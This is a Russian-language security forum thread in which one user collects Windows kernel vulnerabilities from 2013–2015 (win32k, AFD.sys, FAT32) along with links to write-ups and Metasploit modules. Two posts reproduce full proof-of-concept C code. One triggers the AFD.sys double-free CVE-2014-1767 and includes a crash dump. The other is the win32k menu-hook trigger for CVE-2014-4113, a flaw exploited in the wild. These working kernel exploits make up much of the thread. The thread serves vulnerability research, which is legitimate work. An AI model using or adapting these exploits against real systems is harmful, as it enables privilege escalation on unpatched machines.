Старый 08.09.2013, 10:21   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию Ядро Windows / Windows kernel bugs

В теме предлагается постить и обсуждать баги и эксплойты в ядре Windows.


Чтобы пост не был пустым , линк на малоинтересный баг:
[MS13-005] CVE-2013-0008 Windows VISTA/2K8/7/8/2K12 HWND_BROADCAST Low->Medium IL

Последний раз редактировалось SynQ; 27.07.2014 в 13:06.. Причина: I was gonna clean this thread, but then I got high
SynQ вне форума   Ответить с цитированием
Старый 21.09.2013, 12:34   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Интересная статья про kernel bug в Windows и эксплуатацию:
http://www.cyvera.com/the-case-for-s...vulnerability/
SynQ вне форума   Ответить с цитированием
Старый 11.10.2013, 12:17   #3
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

MS13-081 CVE-2013-3881

Microsoft Win32k NULL Page Vulnerability in xxxTrackPopupMenuEx
Под прессингом памяти в Win7 можно заставить вернуть NULL-указатель, где разместить необходимые для дальнейшей эксплуатации данные.

Баг в win32k.sys, закрыто в этот Patch Tuesday:
http://www.endgame.com/blog/microsof...-analysis.html
Более полное описание на http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html

https://github.com/rapid7/metasploit...work/pull/2957
Боевой эксплойт в составе metasploit

На 64 битах не получится проэксплуатировать, т.к. в начале года (MS13-031) MS бэкпортировала в x64 запрет на ммаппинг нулевой страницы.

PS Что интересно, в релизной версии win32k.sys в Win7 SP1 этого бага нет. Появился он позже

Последний раз редактировалось SynQ; 27.07.2014 в 12:50..
SynQ вне форума   Ответить с цитированием
Старый 13.03.2014, 10:15   #4
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Эксплойт и описание бага (kernel heap, атака через PoolIndex):
First Dip Into the Kernel Pool: MS10-058
SynQ вне форума   Ответить с цитированием
Старый 27.07.2014, 12:56   #5
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

MS013-053

В том апдейте были закрыты 2 интересных CVE.

CVE-2013-3660
Всем известный баг Тэвиса в EPATHOBJ в win32k.sys, по которому есть отдельная тема на форуме:
Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ privesc


CVE-2013-1300
Windows NTUserMessageCall Win32k Kernel Pool Overflow

MWR Labs Pwn2Own 2013 Write-up
Попытки Meatballs1 написать эксплойт: https://github.com/Meatballs1/cve-2013-1300
Боевой эксплойт из состава metasploit: https://github.com/kyuz0/metasploit-.../schlamperei.c
SynQ вне форума   Ответить с цитированием
Старый 27.07.2014, 13:02   #6
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

MS14-040 CVE-2014-1767

Pwn2Own 2014 AFD.sys double-free privesc
Свежий, очень интересный и подробный пример эксплуатации double-free в ядре Windows

must-read pdf


poc код под xp с http://www.binvul.com:

Код:
    // ad.cpp : 定义控制台应用程序的入口点。
    //

    #include "stdafx.h"
    #include <Winsock2.h>
    #include <ntsecapi.h>

    #include <ws2tcpip.h>
    #include <stdio.h>
    #include <Psapi.h>
    #include <Windows.h>
    #include <math.h>
    #pragma comment(lib,"user32.lib")
    #pragma comment(lib, "gdi32")

    #pragma comment (lib, "ws2_32.lib")
    #pragma comment(lib,"psapi.lib")
    #define AFD_GET_REMOTE_ADDRESS 0x120bb
    #define AFD_IOCTL_AFD_TRANSMIT_FILE 0x0001207f
    #define  AFD_IOCTL_AFD_TRANSMIT_PACKETS 0x120c3


    #define MAX_REGIONS 8192

    void poc()
    {
            char inbuf1[48]={0};
            char inbuf2[24]={0};
            char outBuff[0x30];
            SOCKET tcp_socket;
            struct sockaddr_in addr;
            DWORD junk ;
            WSADATA ws;
            HRGN        Regions[MAX_REGIONS];
            int targetsize = 0x100 ;
            int virtaddress = 0x13371337  ;
            int mdlsize = (pow(2.0,0xc)* (targetsize-0x30)/8) - 0xfff - (virtaddress & 0xfff);
            *(DWORD *)((char*)inbuf1+24) = virtaddress;
            *(DWORD *)((char*)inbuf1+28) = mdlsize;
            *(DWORD *)((char*)inbuf1+32) = 0;
            *(DWORD *)((char*)inbuf1+36) = 0;
            *(DWORD *)((char*)inbuf1+40) = 0;
            *(DWORD *)((char*)inbuf1+44) = 0;

            *(DWORD *)((char*)inbuf2) = 1;
            *(DWORD *)((char*)inbuf2+4) = 0xaaaaaa9;


            addr = sockaddr_in() ;
            addr.sin_family = AF_INET ;
            addr.sin_port = htons(135) ;
            addr.sin_addr.s_addr = inet_addr( "127.0.0.1" );
           
            WSAStartup(0x0202,&ws);

            printf("create socket ....\n");

            //tcp_socket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
            tcp_socket =        socket(AF_INET, SOCK_STREAM, 0);

            printf("ready to connect....\n");

            if (connect(tcp_socket, (struct sockaddr*) &addr, sizeof(sockaddr_in)))
            {
                    printf("\n[!!] You should not see this! \n\n");
                    exit(0);
            }
           

            printf("fill kernel heap\n");

            int nBottomRect = 0x2aaaaaa ;
            int NumRegion=0;


            /*while(TRUE)
            {
                    Regions[NumRegion] = CreateRoundRectRgn(0,0,1,nBottomRect,1,1);
                    if (Regions[NumRegion]==NULL)
                    {
                            break;
                    }
                    if (NumRegion>MAX_REGIONS)
                    {
                            break;
                    }
                    NumRegion++;
            }*/
            printf("GO! send AFD_IOCTL_AFD_TRANSMIT_FILE\n");

            DeviceIoControl((HANDLE)tcp_socket,AFD_IOCTL_AFD_TRANSMIT_FILE,(LPVOID)inbuf1,sizeof(inbuf1),(LPVOID)outBuff,0,&junk,NULL);

            printf("GO! send AFD_IOCTL_AFD_TRANSMIT_PACKETS");

            DeviceIoControl((HANDLE)tcp_socket,AFD_IOCTL_AFD_TRANSMIT_PACKETS,(LPVOID)inbuf2,sizeof(inbuf2),(LPVOID)outBuff,0,&junk,NULL);
    }
    int _tmain(int argc, _TCHAR* argv[])
    {
           
            poc();

            return 0;
    }

复制代码
Код:
blue dump

POOL_ADDRESS:  89efb8c0 Nonpaged pool

FREED_POOL_TAG:  Hal

BUGCHECK_STR:  0xc2_7_Hal

DEFAULT_BUCKET_ID:  DRIVER_FAULT

PROCESS_NAME:  services.exe

LAST_CONTROL_TRANSFER:  from 804f9df9 to 8052c5dc

STACK_TEXT:  
baccfa88 804f9df9 00000003 baccfde4 00000000 nt!RtlpBreakWithStatusInstruction
baccfad4 804fa9e4 00000003 89ff8694 89efb8b8 nt!KiBugCheckDebugBreak+0x19
baccfeb4 804faf33 000000c2 00000007 00000cd4 nt!KeBugCheck2+0x574
baccfed4 8054c583 000000c2 00000007 00000cd4 nt!KeBugCheckEx+0x1b
baccff24 806e9d16 89efb8c0 00000000 806e56b8 nt!ExFreePoolWithTag+0x2a3
WARNING: Stack unwind information not available. Following frames may be wrong.
baccff3c bab28c91 8a09bf98 89efb8c0 00000000 hal!IoFreeMapRegisters+0x584
baccff5c ba6e8aff 89ff8600 805472a2 ffdff9c0 PCIIDEX!BmFlush+0x29
baccffcc 80546e6f 89c0f0a4 89c0f030 00000000 atapi!IdePortCompletionDpc+0x75
baccfff4 805469db b1a59b6c 00000000 00000000 nt!KiRetireDpcList+0x61
baccfff8 b1a59b6c 00000000 00000000 00000000 nt!KiDispatchInterrupt+0x2b
805469db 00000000 00000009 0081850f bb830000 0xb1a59b6c
SynQ вне форума   Ответить с цитированием
Старый 18.10.2014, 12:36   #7
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Вдогонку к прошлому посту еще анализ по MS14-040:
https://warroom.securestate.com/inde...ther-analysis/


MS14-063 / CVE-2014-4115

FAT32 Disk Partition Driver heap overflow
http://blog.beyondtrust.com/ms14-063...ixed-years-ago

Переполнение было исправлено в Win 7, но недавно вспомнили, что нужно бэкпортировать фикс еще и в ранние выпуски. Уязвимость в Windows Server 2003, Windows Vista, and Windows Server 2008.
SynQ вне форума   Ответить с цитированием
Старый 18.10.2014, 14:30   #8
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

MS14-058: CVE-2014-4148, CVE-2014-4113

2 свежие уязвимости в Win32k.sys: при парсинге TTF шрифтов, и при работе с окнами (через ммапинг win32k!tagWND по своему адресу). Сэмплы доступны, напр.:
Сэмпл для CVE-2014-4113 (win32k!tagWND)

https://technet.microsoft.com/en-us/...urity/MS14-058
http://www.fireeye.com/blog/technica...zero-days.html
21.10.2014: http://blog.trendmicro.com/trendlabs...cve-2014-4113/

Последний раз редактировалось SynQ; 21.10.2014 в 10:32.. Причина: добавил линк на сэмпл и еще один линк
SynQ вне форума   Ответить с цитированием
Старый 24.10.2014, 10:56   #9
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Продолжение по CVE-2014-4113 из предыдущего поста.

http://habrahabr.ru/company/eset/blog/241003/
https://www.codeandsec.com/CVE-2014-...Patch-Analysis - самая полная статья.
Переписали эксплойт в составе metasploit

PoC с www.binvul.com:
Код:
// tr.cpp : 定义应用程序的入口点。custom application entry point.
#include "stdafx.h"
#include "tr.h"

#define MAX_LOADSTRING 100

#pragma comment(lib,"user32.lib")
// 全局变量:	Global variables:
HINSTANCE hInst;                                                                // 当前实例	current instance
TCHAR szTitle[MAX_LOADSTRING];                                        // 标题栏文本	title bar text
TCHAR szWindowClass[MAX_LOADSTRING];                        // 主窗口类名	main window class name
CHAR szWindowClass1[MAX_LOADSTRING]="woqunimalegebi";;
HWND global_hWnd;

// 此代码模块中包含的函数的前向声明:	This code module contains forward function declaration:
ATOM                                MyRegisterClass(HINSTANCE hInstance);
BOOL                                InitInstance(HINSTANCE, int);
LRESULT CALLBACK        WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK        About(HWND, UINT, WPARAM, LPARAM);


void xxxMenu(int idhook);

DWORD WINAPI startaddress(
        _In_  LPVOID lpParameter
        )
{
        xxxMenu(2);
        return 0;
}

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
        UNREFERENCED_PARAMETER(hPrevInstance);
        UNREFERENCED_PARAMETER(lpCmdLine);

        HANDLE hthread = CreateThread(0,0,startaddress,0,0,0);

        if (WaitForSingleObject(hthread,0x493e0))
        {
                TerminateThread(hthread,0);
                return 0;
        }
        return 0;
}


#define MN_ENDMENU 0x1F3
HHOOK hhk;

unsigned int g_flag=0;
unsigned int g_flag1= 0 ;
unsigned int g_flag2=0;
#define  MN_FINDMENUWINDOWFROMPOINT 0x1eb


WNDPROC lpPrevWndFunc;

LRESULT CALLBACK fn(
        _In_  int code,
        _In_  WPARAM wParam,
        _In_  LPARAM lParam
        )
{
        if (wParam==4)
        {
                if (*(DWORD *)lParam == GetCurrentThreadId())
                {
                        if (*(DWORD *)(lParam+12)==0x900516)
                        {
                                g_flag1 = 1;
                        }
                }
        }
        return CallNextHookEx(0,code,wParam,lParam);
}


LRESULT  newWinlng(HWND hwnd, 
        UINT uMsg, 
        WPARAM wParam, 
        LPARAM lParam)
{
        if ( uMsg != MN_FINDMENUWINDOWFROMPOINT )
        {
                return CallWindowProcA(lpPrevWndFunc, hwnd, uMsg, wParam, lParam);
        }

        SetWindowsHookExA(9, fn, 0, GetCurrentThreadId());
        SendMessageA(hwnd, 0, 0x900516, 0);
        UnhookWindowsHook(9, fn);
        if ( g_flag1 )
        {
                EndMenu();
                return CallWindowProcA(lpPrevWndFunc, hwnd, MN_FINDMENUWINDOWFROMPOINT, wParam, lParam);
        }
        EndMenu();
        return -5;
}

LRESULT CALLBACK lpfn(
        _In_  int code,
        _In_  WPARAM wParam,
        _In_  LPARAM lParam
        )
{
        

        if (*(DWORD*)(lParam+8)==MN_FINDMENUWINDOWFROMPOINT)
        {
                if (!g_flag)
                {
                        g_flag = 1;
                        if (UnhookWindowsHook(4,lpfn))
                        {
                                lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam+12),-4,(LONG)newWinlng);

                        }
                }
        }
        return CallNextHookEx(0,code,wParam,lParam);

}



LRESULT CALLBACK WndProcTest_fuzz(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
        int wmId, wmEvent;
        PAINTSTRUCT ps;
        HDC hdc;
        int idhoo;
        switch (message)
        {
        case WM_ENTERIDLE:
                if (g_flag2!=1)
                {
                        g_flag2=1;
                        PostMessageA(hWnd,WM_KEYDOWN,0X28,0);
                        PostMessageA(hWnd,WM_KEYDOWN,0x27,0);
                        PostMessageA(hWnd,WM_LBUTTONDOWN,0,0);

                }
                break;
        default:
                return DefWindowProc(hWnd, message, wParam, lParam);
        }
        return 0;
}

HMENU popMenu()
{
        HMENU hmenu = CreatePopupMenu();

        CHAR name[4] = "AAA";
        MENUITEMINFOA item  ;
        HMENU hmenu2;
        memset(&item,0x00,sizeof(MENUITEMINFOA));
        item.cbSize = sizeof(item);
        item.fMask = MIIM_STRING;
        //item.fType = MFT_STRING ;
        //item.dwTypeData = name;
        //item.cch = 4 ;

        if (InsertMenuItemA(hmenu , 0 , 1 ,  &item ))
        {
                hmenu2 = CreatePopupMenu();
                CHAR name2[4] = "BBB";
                MENUITEMINFOA item2  ;
                memset(&item2,0x00,sizeof(MENUITEMINFOA));
                item2.cbSize = sizeof(item);
                item2.fMask = 0x44;
                item2.hSubMenu = hmenu;
                //item2.fType = MFT_STRING ;
                item2.dwTypeData = name;
                item2.cch = 1 ;
                if (!hmenu2 || !InsertMenuItemA(hmenu2,0,1,&item2))
                {
                        DestroyMenu(hmenu);

                        if (hmenu2)
                        {
                                DestroyMenu(hmenu2);
                        }
                }
        }
        else
        {
                DestroyMenu(hmenu);
        }
        return hmenu2;
}

void xxxMenu(int idhook)
{
        //registeclass
        WNDCLASSA wcex;
        memset(&wcex,0x00,sizeof(wcex));
        wcex.lpfnWndProc        = WndProcTest_fuzz;
        wcex.lpszClassName        = "wocaonimalegeb";
        RegisterClassA(&wcex);
        
        HWND hwin = CreateWindowExA(0,"wocaonimalegeb",0, 0,
                -1, -1, 0, 0, NULL, NULL, 0, NULL);

        HMENU hmenu = popMenu();

        if (hmenu)
        {
                if (SetWindowsHookExA(WH_CALLWNDPROC,lpfn,0,GetCurrentThreadId()))
                {
                        if (TrackPopupMenu(hmenu , 0 , -10000 , -10000 ,0,hwin , NULL ))
                        {
                                PostMessageA(hwin,0,0,0);
                        }
                }
        }
        DestroyWindow(hwin);

        if (hmenu)
        {
                DestroyMenu(hmenu);
        }
        UnhookWindowsHook(WH_CALLWNDPROC,lpfn);
}
31.10.2014:
Exploiting CVE-2014-4113 on Windows 8.1

30.01.2015:
Ronnie Johndas - Analysis of CVE-2014-4113 (Windows Privilege Escalation Vulnerability)

Последний раз редактировалось SynQ; 30.01.2015 в 11:10..
SynQ вне форума   Ответить с цитированием
Старый 05.01.2015, 10:19   #10
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Универсальный способ размещения payload в non-paged pool ядра с получением адреса размещения (< Win 8.1):
http://www.alex-ionescu.com/?p=231
SynQ вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot